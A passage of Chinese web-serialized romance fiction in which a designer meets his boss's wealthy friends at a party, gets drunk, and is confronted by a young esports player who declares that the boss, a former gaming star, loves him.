啪。 季闻则挥手把人掸开。 杜文鸢先是瞪大眼睛惊诧,和季闻则对上视线之后,旋即眉头一挑,因为震惊而瞪大的眼睛仍然很大,但变成了了然。 还有压抑的狂热八卦欲望。 “诶,您二位先走,坐着聊。”杜文鸢嘴角咧到耳根去,把空香槟杯往路过的桌上一放,一手推一个肩膀,把两人带进了不远处的沙发区。 一张大方桌被三面长沙发包围,一共坐了三个人,仍然显得空空荡荡。 三人听见动静抬头,样貌都是二三十岁,两个长得一模一样,另一个圆脸福相。 季闻则一一介绍了,让郁思白坐到里面,自己后一步落座,然后摸了本冷餐区的菜单递给他:“看有什么要吃的。” 一串动作行云流水,把三人看得目瞪口呆。 “你是?”圆脸迟疑。 双胞胎正要说话,被杜文鸢一手一个捂了嘴,一咧嘴:“吃好喝好。” 三人被杜文鸢递了眼神,清了清嗓子,便跟季闻则聊起来,只是目光总不经意地往里侧的青年身上瞥。 青年好像很习惯这种场合了——这种往季闻则身边一坐,什么都不用管,吃吃喝喝即可的场合。 你俩到底谁是老板,我请问呢? 圆脸把这话咽了下去。 双胞胎两张一模一样的脸往他旁边一凑。 老大说:“谁是老板有待观察。” 老二道:“但谁是领导我自有分辨。” 三人对视,六双眼睛发出诡异的光。 杜文鸢仗着自己和郁思白第一个握手的情谊,挪了个座位坐到他旁边,问:“郁组长最近忙什么项目?” 郁思白合上菜单,抬头:“之前在做誉衡别苑,最近忙的是无畏契约十周年嘉年华的场馆设计……杜总呢?” 杜文鸢一挥手:“叫我杜哥……呃,杜文鸢就行。”他改口完,目光往郁思白旁边瞥了一下。 小气啊。瞪人算什么本事。 双胞胎立刻附和:“誉衡别苑不错,好楼盘。” “我朋友还说想买来着,到时候也不知道能不能买到好位置。” 圆脸却被后面的项目抓住:“这游戏我玩过一阵,就是有点菜,得叫四个陪玩才能拖动。” 郁思白见他说的时候目光一点都没往季闻则那边飘,若有所思,待他们又说起别的和自己无关的话题后,看向季闻则,用嘴型问。 “他们不知道?” 季闻则轻哂,示意他附耳过来,掌心一挡,低声道。 “是后来才认识的,这事儿没人知道,家里瞒得严。” 确实严。郁思白心想。 官网上连你的生平都查不出问题。 “……唉,要不说老季是咱这辈儿的楷模呢。” 旁边杜文鸢的声音突然抬高了一点,吸引了郁思白的注意。 圆脸道:“那是,能有几个像他这样的。从底层干,还能整出这种横空出世的效果。” 双胞胎的老大忽然看向季闻则:“季哥,不介意我们聊你吧?” 老二捧读:“实在是太敬仰季哥……” 季闻则:…… “我觉得你闯荡娱乐圈的事可以再缓缓。”演技有点太差了。 他话音刚落,一个西装男人走过来道:“季总,我是秦董的秘书,秦董想问您有没有时间上楼一叙。” 郁思白想起今天这场酒会的主家就姓秦,想必就是这位秦董。 杜文鸢抬头:“他不是刚把小秦叫走?” 秦董秘书面色尴尬了一下,含糊道:“小秦少爷应该马上就下来了。” 圆脸忍不住笑:“这是又没谈舒服。” 季闻则轻拍了下郁思白的肩膀,示意他坐着,起身看了杜文鸢一眼。 “没问题昂,保准给郁组长看好了。”杜文鸢道。 季闻则前脚离开,后脚整个卡座就安静了下来。四双眼睛齐刷刷落在郁思白身上,像在看什么珍稀生物。 确实也是珍稀生物,活这么大第一次见到的那种。 季闻则带了个下属来,这很正常,他们也经常带助理或者秘书之类。 但不用加入谈话,不用关注谈话内容,反而让他随意吃喝,时不时自己还要去关注一下人家……这就不对了吧! 郁思白敏锐察觉到了四人的目光,但他没动,连眼皮都没抬一下,兀自翻着被放在卡座上充数的设计杂志。 他不知道这些人在想什么,但季闻则既然说他们人不坏,那就以不变应万变吧。 四人看了一会儿,面面相觑。 这个高岭之花一样的帅哥,也太沉得住气了吧。正常人这会儿不是已经应该慌张抬头了吗? 这……倒是显得他们偷偷摸摸的。 杜文鸢第一个清了清嗓子,直接搭话:“郁组长,你这对袖扣漂亮啊。” 他握手的时候就注意到这对袖扣了,眼尖地认出,这不是前段时间季闻则拍下来的东西吗。 贵是不贵,也没过百,小十的价格……但杜文鸢记得,季闻则以前对这种灰蓝色深恶痛绝来着。当时他还疑惑,这人怎么突然转性了。 半天是……有别人喜欢啊。 郁思白抬了下手腕,点头解释:“出门的时候他借给我的。” “哦哦哦……”杜文鸢连连点头,心里八卦之火更加旺盛。 不管原本就是买给他的,还是随便就把几十万的东西借出去,这事儿放季闻则身上都不对吧! 圆脸见郁思白虽然长了一张生人勿近的脸,但聊天也没什么很冷的感觉,声音情绪很淡,但声线有种形容不上来的亲和好听。 总之,能聊! 圆脸道:“郁组长,之前在吧台那边,那个姓王的怎么惹着老季了?” 郁思白没说自己的事,只提了这人嘴上不太干净。 “我说呢,怪不得了。”圆脸感慨,“我还真第一次看到老季直接泼人的……真刚。” 郁思白抿唇,压下心底旺盛的分享欲。心道我以前可看多了,你们18岁的老季,只能说是本性如此。 思及此处,郁思白顺口问:“他以前在京市不这样吗?” 长得最冷淡的人主动开启了话题,众人一拍即合,顿时聊了起来,很快,郁思白就听了一耳朵季闻则知名事迹。 “你们……不止老板和下属的关系吧?”杜文鸢眸中闪过精光,问。 郁思白第一反应觉得这问题有点奇怪,抿了口桃汁,思考两秒,很自然地点了头。 确实。我们还有偶像和粉丝的关系,债主和欠债人的关系,榜一和主播的关系,狐狸精和被勾引人……呃这个算了。 最后他说:“我们是朋友。” “哦哦,朋友……”其余四人都往后仰倒,气氛一片和乐。 双胞胎的老大道:“下次聚会让季哥把你也带来吧。” 郁思白没直接答应,只说:“可能要加班,不一定有空。” 老二笑说:“还加什么班啊。我要是你,别说加班了,我班都懒得去上了!往家里一躺不爽吗。” 郁思白眉头微不可查地皱了一下,眼睛微微眯起。 突然,啪的一声,方桌上被远远丢了一张卡来。 郁思白跟着其余几人抬头,就看见一个臭着脸的少年走过来,然后闷声往沙发上一坐,脸冷得紧。 杜文鸢嘴角一抽,心道这小祖宗又怎么了,正要给郁思白解释,扭头,却看到刚刚还目光淡淡的青年,此刻微微睁大了眼睛。 那双眼睛里,惊喜的情绪竟然都要满溢出来了。 郁思白此刻心头正感受着极大的震撼。 像,真像! 和18岁的Execut2……真的太像了! 少年十七八岁,细究五官的话其实完全不一样,但脸颊轮廓,鼻梁弧度都简直一模一样,再加上这张别人欠他八百万的臭脸。 如果不是年纪不合适,他真的要怀疑这位是不是Execut2私生子了。 圆脸关切问:“怎么了我们小秦少爷?你爸不是把你叫上去一顿夸吗?” 小Execut2……不是,小秦少爷翻了个巨大的白眼,从鼻孔里挤出一声冷嗤。 “没劲儿。夸人都不会……那话一听就是秘书用ai给他写的稿子!”他气道,“夸儿子还要ai给写稿子,我看他秦董也别干了,让ai给我当爹算了!” 小孩哥一通发火,但举手投足间的贵气怎么也遮不住,眉眼很傲,看人都是扫过去的。 他正好扫到郁思白,顿了一下问:“他是谁。” 双胞胎老二道:“季哥带来的。” 杜文鸢思考了一下,补道:“老季现在那个公司设计一组的组长,清大毕业,公司王牌。” “室内设计公司?”小孩哥目光和郁思白相接,看了两秒,直接问。 “你觉得今天酒会这个布置设计怎么样?” 虽然才刚刚坐下,但也看得出,小孩哥大概是这一圈里面地位最高的那个。 这少爷现在满脸不开心,听他的意思,似乎是刚在父亲那里碰了壁,最保守的方案,肯定还是先顺着夸几句。 但郁思白实在夸不出口,哪怕算上他这张“小Execut2的脸”,也还是不行。 他想了下道:“中规中矩,不会出错。” “没别的了?”小孩哥冷着脸,一股要跟世界掰手腕的劲儿,其余人明显退避三舍,却看得郁思白心头一软。 哎呦,这…… 杜文鸢碰了碰他的胳膊,小声提醒:“这是秦董小儿子秦珂,今天酒会的布置就是他设计的,头一份作品呢,指着人夸……” 郁思白点头表示自己知道了,然后目光一转,平静地和秦珂对视,问:“不介意吗?” 小孩哥秦珂挑起半边眉头:“你要是言之有理,我当然不介意。” 郁思白淡淡笑了一下,开口,一句话就让一众人脸色巨变。 “细节上很敷衍,现成的、用烂了的素材用的太多。空间规划算合理,但能优化的地方太多,比如……” 他说话真是半点都没留情面,在杜文鸢看来,要是谁这么评价自己的第一份作品,他冲上去跟人拼命的心思都有了! 他们一帮人把这小少爷夸得天花乱坠,都只能得一张臭脸,郁组长这嘴万一被打……坏了,季闻则回来怎么跟人交代啊! 杜文鸢心里着急,想打断郁思白,却被冷着脸的秦珂一句“别吵”压下。 郁思白指出问题的声音没停,秦珂那张被欠八百万的脸,却渐渐从愤怒变得冷静,最后郁思白说完,他竟然已经挑起嘴角。 ……气疯了?杜文鸢闭上眼睛。 秦珂重重一拍桌子,霍然起身,嘴角笑容展露无疑,是个格外敞亮的、兴奋至极的笑。 “行家!你是大师!”秦珂三步并作两步绕过方桌,往郁思白旁边一挤一坐,一双眼睛像看到什么稀世珍宝。 “你叫什么!”秦珂问。 “郁思白。” 秦珂立刻改口:“郁哥!” “郁哥你说的太对了、太在点子上了!你说的全都是我觉得我做的特别屎的地方!他们只会敷衍我,闭着眼睛就是夸,我真的要气疯了!我要反馈!我要进步!郁哥你太牛了……郁哥?” 郁思白眼睛里的兴奋却歇了。 秦珂一乐,瞬间就从“小Execut2”变成了“小比格”,一张嘴嘚吧个不停。 郁思白端起桃汁润了润嗓子,心道。 但至少性格真的和Execut2当年很像——讨厌无脑夸赞,从来不怕恶评,指出问题的话越尖锐直白越好。 这是披荆斩棘也要往前进步的人。 秦珂自己又念念叨叨说了一堆,最后一锤定音道。 “我要把你从季叔那挖来!” 郁思白:? 季闻则,已经是当叔的年纪了吗。 他愣了片刻,缓缓疑惑问:“你叫他叔叔?” 小孩哥秦珂“嗷”了一声,有问必答道:“其实应该叫舅舅,我妈是他表姐,但我喜欢叫叔,这个老,衬他。” 怪不得,都说外甥像舅。郁思白沉默。 不过小孩哥,你也没放过他。 秦珂巴巴地看着他,问:“郁哥,你能再多说点吗?或者刚刚你说的那些,能仔细教我一下不?” 说着,他抬手叫来服务生开了瓶酒,亲自给自己和郁思白倒了两杯,举得高高的,夸张道:“郁哥!受小弟一拜!” 说着他把酒递过去:“这我喝的,没什么度数,郁哥别嫌弃……但真的超好喝的,你尝尝!” 这小孩已经完全回归野性了,仿佛之前郁思白看到的什么“冷若冰霜小Execut2”都是错觉。 郁思白摸摸下巴,忽然心生一计。 他道:“不用谢我,按我说的演,我就教你。” 秦珂点头如捣蒜。 郁思白道:“你别笑,就刚刚生气的那个状态。无论听到多兴奋的话,都不要笑,除非忍不住。” 秦珂表情管理瞬间上线,一秒切换战斗脸,但仍然不忘递上酒杯分享自己钟爱的饮料。 笑容转移到了郁思白的脸上。 耶……!像! 目光在那杯酒上停顿一下,郁思白伸手接过。 小孩喝的?尝尝也没事- 季闻则被表姐夫秦董亲自从书房一路送到楼下沙发区的时候,就看见干瞪眼的侄子,和已经趴到桌上、只剩一个毛茸茸头顶的郁思白。 秦董正要笑,就看见身边这个向来温文尔雅的弟弟瞬间冷了脸。 “他不喝酒,你们谁灌的。” 他那个熊孩子侄子此刻小鸡仔似的黏在郁思白旁边,闻言抬头。 “我就是跟郁爷分享了几杯我的饮料。”秦珂哼了一声,解释。 “郁……” 郁什么?季闻则一顿。 秦珂抱歉地看着自家舅舅,语气却带着炫耀。 “叔,我不是故意的,但我刚刚答应了他一件事……” “他真的好厉害,叫哥已经不能体现我的敬仰了,所以我要叫他郁爷。” “叔对不起啊,降你辈分了。” “秦珂!”秦董厉喝,“怎么跟舅舅说话的。” 秦珂做了个鬼脸:“谁让之前我让他带我去公司学习他不肯!” 秦董作势要上来拎他领子,秦珂立刻跳起来,猴子似的边窜边喊。 “季闻则!郁爷说了愿意教我!他喜欢我!你不可能把我们分开的!我要把他留下来……季闻则!” 秦珂猴子一回头,就看见季闻则站在自己让出来的位置,似笑非笑地看着他。 然后弯腰,手背轻轻碰了碰郁思白熏红的脸颊,把那双被困意熏出水意的眼睛叫醒。 他低声在郁思白耳边说。 “那小孩吵得很,一点也不像,是不是?” 郁思白被强制开机,打了个果酒味儿的哈欠,点头,含糊道:“还行呀……” “那你还跟我走么?”季闻则又问,“还是说,你想留在这儿继续喝酒?” 郁思白懵着抬头,看见他唇角最后一点笑意也压了下去,眨了眨眼,点头。 “正版。”他说,“我们走!” 他声音不大不小,虽然有些含糊,但还是被秦珂听了个一清二楚。 小孩哥顿时忘了逃窜,惨叫。 “你,你把我当我舅的替身?!” 他这一停,就被亲爹拎住了后衣领,张牙舞爪。 季闻则瞥他一眼,扶郁思白起来:“姐夫,我们先走了。” 秦董拎着儿子,头痛地点头- 刚出了大门,郁思白被冷风一吹,顿时觉得自己清醒不少。 当然,只是自己这么认为。 殊不知,他看向季闻则的目光有多含糊不清。 季闻则扶他的动作还很小心,但脸上没有表情,开口声音也冷着。 “别人给东西你就喝?”他低声叱道,“你以为秦珂喝的是小孩酒?他那都是四十度起步!” 郁思白一扁嘴。 季闻则想接着开口训,但声音堵住,怎么也说不出来了,脸怎么可能再板下去。 他动动嘴角,终于还是无奈。 “一个看不住就出事,回去再说你。” 他温和了,有人却毫不领情。 被扶着的人拍拍他的胳膊,不满道:“你这样就不像他了。” 季闻则眸光闪了闪,顺着他的话说垂眸说:“是啊,我不像了。” 郁思白摇头:“不是的。” 他此刻觉得自己无比清醒,拍了拍胸口,极度肯定地说:“这里像。这里是一样的。” 季闻则怔忡,心口又暖又酸,抬手轻轻弹了一下他的脑门说:“一不一样我还不知道吗。” 忽然,郁思白拉不动了,他站在原地像个固执不肯向前的钉子户,看着他,问。 “我听说你在总部的那些下属,每个都对你死心塌地。你也是这样对他们的吗?”他问。 “你也像帮我一样,帮过他们每一个人吗?” “季闻则”不会像济世菩萨一样对所有看到的人伸手,但“Execut2”会,明月高悬,又不会独独照我。 他侧过身看着季闻则,呼吸的氛围灯在他脸上投下明暗交叠的光影,像光栅片似的,把一张脸映出两个样子,时而迎着光,冷厉却意气风发,时而又落进阴影里,挂着和煦却不达眼底的笑。 “怎么突然问这个。”他失笑。 “之前就想问了。”郁思白说,声音还带着醉酒的含糊。 果酒的气息顺着风飘进季闻则的鼻间,他只觉得也被这缕酒劲冲上大脑,脱口而出。 “我猜你想听到肯定的答复,但我很抱歉,这不是事实。” “但如果我否定的话……”他顿了一下。 “对,我在庭季从不对谁留手。只帮过你一个人,你是唯一破例的那个。” “如果我这样说……”他轻笑了一声,掌心温度落在郁思白后颈。 “郁老师,你会不会觉得困扰?”—— 作者有话说:[猫爪] 长长啦!算抵一个加更好不好[可怜] 第52章 “郁老师, 你会不会觉得困扰?” 季闻则说完,安安静静地看着他。郁思白歪了下头,似乎这样能更方便地让自己混沌的大脑转动起来。 他觉得季闻则似乎话里有话, 可他“清醒”的思绪似乎不足以处理这么复杂的问题,愣了半晌问。 “为难什么?” 季闻则看了眼他的表情。 他说完后也觉得自己那话有些突然, 原本以为, 至少会在郁思白脸上看到一点慌乱,或者茫然。 但没想到,他只是歪着脑袋看着自己,一双带着酒意的眼睛里,只有疑惑、单纯……和直。 哈。 季闻则扯扯嘴角,收回视线, 又忍不住觉得自己好笑,随口道:“为难……怕你会觉得, 自己是和钱翀一样的关系户。” “关系户?”郁思白稀里糊涂抓着重点, “我对关系户没意见啊。” 季闻则张嘴,又闭上, 心想算了,跟他一个酒鬼说这些做什么呢。 郁思白还在做梦:“钱翀要是个脑子清醒,不惹事儿的……让他当总监也没什么大不了的,凭他跟钱老抽的关系, 还能多多给我们设计部谋福利呢。” 郁酒鬼喝多了之后, 讲话不一定多含糊, 甚至很有逻辑,但话题容易乱七八糟飞满天。 季闻则没把他歪掉的话题掰回来,顺着一哂:“他在二组的时候也没谋什么福利,全谋到自己身上了。” 郁思白激烈点头:“所以大家都很不喜欢他, 又不是因为他是关系户……” 酒鬼又开始漫无目的地说话,走路的方向感也已然漫无目的起来,只剩两只脚来回倒腾,乱七八糟地。 这人第三次走着走着就开始回头后,季闻则终于还是抬手按住他的肩膀,当了个人肉导航。 “老想往回走干什么?”季闻则问,“想找秦珂?” 郁思白眨了下眼,顿时被触发关键词,随机发散的话题终于找到方向,立刻道:“所以你为什么不让人家来公司?” 季闻则看着他,忽然觉得牙痒,捏了一下他脖子,郁思白就不动了,像只被拎住后颈的猫。 “你喜欢?”他问,“那把秦珂给你抓去公司玩,要不要?” 郁思白眼睛弯弯,连连点头:“好啊好啊。这种关系户可以的。” 季闻则只想捂住自己几秒前提起那臭小孩的嘴,气笑了。 “你记得哦。”郁思白还特意叮嘱。 “……行,他放了暑假就给你抓来。”季闻则无奈,“要不要再给他染个色儿?” 说完他又为自己的一时嘴快后悔。 郁思白没说话,但那双亮亮的眼睛已经看过来,意思很明显—— 可以吗! “不可以,他家长不让。”季闻则立刻拒绝。 郁思白顿觉可惜,就要扭头回去,让季闻则总有种自己被用完就丢的错觉。 于是他很快板起脸。 面前本来已经扭走一半的脑袋,立刻丝滑地扭了回来,效果立竿见影。 季闻则勾唇。 脑袋扭走。 冷脸。 转回来。 …… 郁思白:“我的头有点晕。” “嗯,不玩了。”季闻则道。 酒鬼试图抓住重点:“你在玩我吗?” 季闻则呛咳,没接这话。 郁思白端详他片刻,眉头一皱,突然用力把脑袋撞了过去。 季闻则下意识就要躲开,但还是被重重磕在了下巴上,他倒还好,但郁思白觉得自己脑瓜有点嗡嗡的。 搭在青年后颈上的手又捏了捏,季闻则好笑:“还报复?” 哪知郁思白捂着脑门说:“你是凉的。” 顿了一下,判断:“原来真的诈尸成功了,卡神。” 季闻则:…… “你还是闭嘴吧,Respit2大人,这种事不要声张,小心黑白无常再把我领回去。”他领着人往门口走,原本也就几十米的距离,硬生生被走了好几分钟。 一边走,他一边掌心微微用力,带着他扭头转向自己,靠近了些,检查他红了一片的脑门。 “小白哥——” 门外,一个声音突然传来,季闻则挑了下眉,没有回头。 而酒鬼郁思白,更是听力和理智一起走远了,此刻压根没怎么听见声音。 梁路站在外面,见两个人全都一副无动于衷的样子,只觉得一股急急燥燥的感觉直冲天灵盖,水泥地烫脚一样,跳来跳去。 “小白哥!”他抱着一大袋子礼物喊。 郁思白动了动耳朵,刚想扭头,就被后颈的那只手挡了一下。 “等会儿,我看头磕坏了没。”季闻则说。 于是在梁路的视线里,他小白哥听见了自己的喊声,但还是跟另一个人对视了好一会儿,才回头看过来。 跟着他一起扭头的,还有那个背对着他的不知名男人,那人一回头,梁路就顿时愣住。 靠。 怎么又是这个老板! 梁路想进去,但站在大门边上的保安时不时地就瞥过来一眼,尽职尽责地守着大门,让他只能站在门外远远看着。 梁路不由得有点着急,但很快,看过来的郁思白笑了一下,抬手跟他挥了挥,焦躁瞬间被安抚,他抱着大礼物袋,乖乖在原地站得更挺拔了。 大门里,季闻则看着郁思白突然亮起来的眼睛,忍不住挑眉。 他之前也看过网上的一些说法,在ICG联赛夺冠之后,有不少人说kulu有当年Execut2的风范,甚至还有人叫他“小Execut2”、“小卡神”之类的称呼。 起初他只是一扫而过,对这种称呼也并没有什么特别的感觉,薛简还说他后继有人。 现在…… 见郁思白放下了打招呼的手,扭头看向自己,季闻则冷不丁说。 “你是不是就喜欢十八岁的?” “昂?”郁思白愣了一下,“你不喜欢吗,小孩多有活力。” 季闻则心里那股劲儿又被他轻而易举搅散了,失笑。 “也是,小孩儿挺好。” 郁思白没觉得这个话题有什么不对,又看了乖乖等待的梁路一眼,压低声音跟季闻则咬耳朵,呆道:“好巧啊,他怎么在这儿?” 季闻则这下是真的差点笑出声来。 喝酒好啊,真是忘记一切。 “是啊,他没受到邀请吧。”他说完,还是很好心且大度地提醒,“他是过来给你送生日礼物的,忘了?” 郁思白这才恍然,迈着六亲不认、方向也不认的步伐往外走,边走边道。 “梁路可喜欢你了,你知道吗?”顿了下又说,“喔,你应该不知道……” “他?”季闻则似笑非笑。 郁思白点头,认真道:“对啊。他也是打决斗的,喜欢Execut2不是很正常吗,而且我之前跟他熟悉起来,也是因为他说自己也是Execut2粉丝来着,他还经常帮我淘一些古早Execut2周边,嘿嘿。” “不见得吧。”季闻则缓缓说,“就像你粉丝祝福视频里说的,他可能只是爱屋及乌。” 郁思白瞥他:“你的不配得感突然好强,他就不能是崇拜你吗?” 季闻则却莫名笑得更深:“你能这么想,那最好了。” 那他当然不会说,如果真的喜欢又怎么会把周边送你。 郁思白又说:“如果他知道自己跟偶像Execut2说过话,肯定开心得在路上尖叫的。” “怎么?你想跟他分享这个好消息?”季闻则问。 “不是。”郁思白指指他的脸,“我的意思是,你要不要戴个口罩把脸遮住,免得被他发现,尖叫扰民。” 季闻则顿时失笑,抓着他差点戳到自己嘴里的手指头,按下去,淡淡道:“我是什么见不得人的角色吗?” 郁思白脚下打绊,嘴上却思路清晰地反问:“你不是吗?人间蒸发的卡神。” 季闻则眨眼,含糊地“唔”了声,半晌道:“阿飘忽然觉得,人间也挺好的。” 郁思白歪头:“你要重塑金身了?” “恐怕很难吧……Respit2大人帮我吗?”季闻则嘴角挑起一个不明显的弧度,介于“Execut2形态”和“季闻则形态”之间的神情,让郁思白新奇地多看了两秒,抬手摸了摸下巴。 “行呀。”他说。 而门外,梁路看着走路都歪歪扭扭的郁思白,还有旁边扶着他的老板,觉得自己像只被五花大绑丢进蒸锅的螃蟹,很急,但是没辙。 今早起来,他想了想还是拒绝了郁思白提议的“车接车送”,原因无他——这不是小白哥提的,而是他老板。 他12点还在一起呆着的老板! 他刚直播完,就去见的老板! 梁路又不傻。 如果说昨晚只是对这个老板的心思有点猜测的话,那今天,他就是板上钉钉的确认了。 反正薛简不会在他喝多了之后这么小心翼翼地扶他。 关羽也不会这么扶张飞。 梁路磨了磨虎牙。 相携而来的两人渐渐走出花园昏暗的那段路,走进大门明亮的灯照下,梁路头一次看清了他白哥这个老板的脸。 那老板忽然动了下眉头,抬眼看他。 三十岁左右的成熟男人一身高定西装,皮鞋体面又优雅,唇角含笑,银丝框镜后的眼神却带着居高临下的冷冽。 梁路心里瞬间响起尖啸的警报。 等等…… 等等?! 他当然看了郁思白直播,也知道“他们公司空降了一个和卡神长得很像的老板”,但没放在心上。 上次这人来KTV接小白哥的时候,梁路也下意识注意到他,当时男人带着黑口罩,只看眼睛确实是个帅哥,但梁路又不是没见过那种口罩一带刘海一放的“氛围男头”,所以也没怎么放在心上。 ……可没人告诉他,会像到这种程度啊! 梁路下意识低头,看了眼自己放在包最上面的礼物——那是他淘了很久才淘来的,Execut2首年冠军系列周边。 灰蓝色头发的少年目光睥睨,嘴角下撇的一张臭脸,眼神…… 他低头看看,又抬头看看。 眼神,真的有点像…… 正恍惚的时候,那两人终于走出那道该死的、他不被允许进去的门。 梁路强行让自己回神,抱着全ICG的一大袋礼物,站得很稳,一咧嘴,露出又乖又甜的笑容。 “小白哥,生日快乐!” 郁思白又冲他摇了摇手,弯着眼睛笑:“谢谢小路。” 小、小路……! 这是小白哥第一次这么叫他! 梁路深深吸气,抱着大礼物袋的胳膊都抖了一下,眼睛睁得更大,下意识就上前一步,微微弯腰,让郁思白看得见礼物袋最上面十分显眼的Execut2周边。 “哇!冠军限定!你从哪里弄的?”郁思白果然眼睛一亮,连着给他比划大拇指,“梁路你真是神通广大……诶你看!” 说着,他用胳膊肘拐了拐旁边的男人,低声说:“怕什么?看呀,多帅的。” 男人一时失语,那副插不进嘴的样子,让梁路嘴角挑了挑。 老板又如何,长得像又怎样? 白哥喜欢的东西,我才能和他开开心心地聊,我还能陪他一起上分打游戏。 “哦!差点忘了。”郁思白把Execut2周边小心翼翼揣好,然后道。 “梁路同学,给你介绍一下,这个——” 他抓住旁边男人的胳膊,手一伸,摆出介绍直播间选品的姿势道。 “这个,是你卡神。” 梁路:? 他下意识又一低头,礼物袋里的灰蓝色头发少年正用看垃圾的目光看着他。 抬头,小白哥的老板笑容温和,不带半点进攻性,虽说那双眼睛始终像鞘中之剑似的,像归像…… 但,这怎么也不可能是一个人吧。 虽然不信,到哪梁路心里那股狂劲,还是突然被打了个折。他抿了下干涩的唇,把礼物袋用一只手拎着,另一只手去扶郁思白的胳膊,对男人说:“不好意思啊,我哥他可能喝多了,在胡言乱语。” 季闻则笑了一下。 他没松手,却也没阻止梁路扶人,看着对梁路半点防备和介意都没有,可没等梁路松口气,就见男人微侧过脸,垂眸低声问郁思白。 “你看,我说什么来着?” 他声音带着轻笑,语气里的熟稔让梁路脑海里的弦陡地绷紧。 离上次KTV见面才过去多久……才几个月! 他们怎么就突然这么熟悉?! 旋即梁路又觉得这种熟稔似曾相识。 “你不相信他,还不相信你白哥吗?”郁思白用苍白的语言说,“他会打游戏,真是Execut2!” ——Execut2。 梁路陡然呼吸一滞。 可恶,该死!昨晚他小白哥和Execut2的寥寥几句聊天,不就是这种熟稔感吗?! 难道—— 他下意识看过去。 男人仍旧含笑向他颔首:“你好,kulu,我在Respit2直播间看过你的比赛,很不错。薛简签你的时候,还问过我的意见。” 郁思白“哇”了一声:“原来我们小路才是真的卡神严选!” 被称呼为“我们小路”,梁路本来应该像刚刚一样感到开心的,可嘴唇磕绊了一下,现在只想着努力让脊背挺得更直。 他身高不比男人矮,但被那双眼睛看着,他莫名就觉得屈居人下。 那种感觉,和在世界赛上碰见死死压制着他们的对手一样。 ……冷静梁路,冷静。 再强的对手也一定有破解之法,这是小白哥教的。 可是,可是…… 论先来后到,Execut2十年前就已经是小白哥偶像了。 论实力,他更是那个“小”。 论长相……这种主观题让郁思白答,梁路用鼠标键盘想,都也知道答案肯定不是自己。 论财力,梁路忘不了上次看到的那辆车,现在也看得清楚男人手上腕表的样子。 …… 小白哥!这Execut2是数值怪啊,我怎么打! 梁路突然就有点崩溃了,眼睛一酸,但还是把情绪强忍下来。 “怎么了小路?”郁思白伸手在他眼前晃晃,“激动哭啦?” 那只白皙修长的手在眼前晃着,梁路顿时只觉得头脑发热,上前一步就道。 “小白哥,能过来一下吗?我有话跟你说。” 他虽然喊的是郁思白,但目光却直直看向季闻则,眼里哪有半点对偶像的崇拜。 彻头彻尾的,除了防备之外,就是破釜沉舟的攻击性。 到底是郁思白教出来的,也有股自/杀式袭击的劲儿。 季闻则想。 可是你能做什么呢? 郁思白疑惑问:“怎么了?有事就说,你卡神又不是外人。” 怎么就不是外人了! 梁路在心里尖叫,大喊,面上却更是泫然欲泣。 季闻则却在这时候添油加醋,温声说:“说吧,没事,他喝多了有点困,早点回去睡觉。” 梁路深吸一口气。 他一手拽着郁思白,一手指向神情悠哉的男人,脑海里最后一根弦也崩断,心一横,满腔情绪化作蛮牛冲撞似的一句话。 “小白哥!他喜欢你!”—— 作者有话说:梁路:数值怪我跟你爆了[爆哭]!!! [猫爪] 小秦:老季的脸,小郁的职业 小路:小郁教出来的,老季的职业 这样吧我建议你们组成散装一家四口[狗头] 今天痛经呃啊啊啊,晚上才虚弱爬起来,有点短,已尽力[爆哭] 第53章 梁路觉得自己实在是很有想法。 已知, 他小白哥虽然直播的时候总说什么“Execut2老公”,人还是渝市那片长大的,但他也无数次在线上线下表明过, 自己是直男。 如果说这一切都不能证明的话,还有一件只有ICG个别人才知道的事情。 在梁路加入ICG之前, 他的前辈、前ICG一突选手, 曾经给Respit2告白过。 原本前一突也是和郁思白关系不错的弟弟,但这事发生之后,两个人关系立刻就断崖式掰掉了,郁思白开始避讳所有他出现的场合,直播也不再提及,就连双排都再也没有过。 最后, 这事以那位前一突转会离开作为结尾。 梁路重蹈前辈覆辙、喜欢上这个人的时候想,他白哥怎么不算是一突杀手呢。 有前辈的错题本在, 原本梁路早该知难而退的, 但从pupu那里打听到郁思白一直都单身之后,梁路又觉得, 自己试试也不是不行。 一突前辈或许是太急于求成了,虽然长得不错,但压根没打出成绩,小白哥看不上也是人之常情。 他可是18岁就拿了联赛冠军!完全可以慢慢、慢慢地来, 先从朋友做起, 等自己拿到世界冠军的那天, 在领奖台上再给喜欢的人告白…… 这是梁路常常会做的白日梦,但同时,也有一个他偶尔会真的在晚上梦见的噩梦。 他在梦里给郁思白告白后,对方大惊失色, 指着他的鼻子说:“你是gay!”,然后就此远离他,让他落得和前辈一样的下场,连朋友都做不成。 现在,他决定让别人先体验一下。 反正很难在现阶段打过数值怪,那就把数值怪的老底掀了! 梁路恨不得把郁思白抓到一边,在他耳朵旁边大喊。 白哥!你老板是gay!你老板是gay啊! 然后呢,他大惊失色的白哥就会像他噩梦里看见的那样,立刻甩开那个男人的手,辞职拉黑一条龙,转投ICG门下,变成和他并肩而战的队友,指引方向的明灯教练,夺冠时站在身边的人……扯远了。 梁路强行扯回自己发散的思维,拉着郁思白袖口的手攥得更紧,目光明亮又期待地看着他。 郁思白看起来没什么反应,又像是已经走了一会儿了。他一手挂了一个人,头顶转动着卡机的加载小圆环。 “呃。”半晌,他开机,出声。 “很多人都喜欢我啊。”他目光被酒浸泡得明亮却发直,嘴上不住地分享道,“昨天那个‘驯服csp’给我画的祝福视频你看了吗……” 梁路发誓,他听见了旁边那个男人毫不遮掩笑出来的声音。 “小白哥……”梁路呆了一下。 面前突然有车灯逼近,郁思白被刺得闭了闭眼睛,下意识捂着嘴打了个哈欠。 熟悉的车停在几人身后五六米处,司机下车向季闻则打过招呼后,拉开车门。 “回去吧。”季闻则说着,先看了眼郁思白,又对梁路道,“一起上车,我们先把你送回去。” 梁路手猛地攥紧,摇头:“不用。” 他才不吃情敌的嗟来之食! 可季闻则伸手去接他拎着的礼物袋,梁路又不肯放手,总觉得放了之后,好像就彻底把所有的可能性都拱手让人了一样。 郁思白的目光跟随着礼物袋左右横跳,索性自己上前弯腰,一拢一颠,直接抱到胸前,人都被压得一个踉跄。 “这么重?!”他震惊得困意都散了。 梁路道:“对,除了我们的礼物,还有粉丝寄到基地的礼物。” “喔,那我回头开个直播拆礼物吧。” 郁思白说着,从硕大的袋子后面探出半张脸,眨眼道:“那……你们两个再沟通一下感情?快一点哈,我回去还要直播呢……” 梁路愣了一下,直白道:“小白哥,你都喝醉了,还直播什么?算了吧。” 郁思白摇摇头:“不行,我是劳模。” 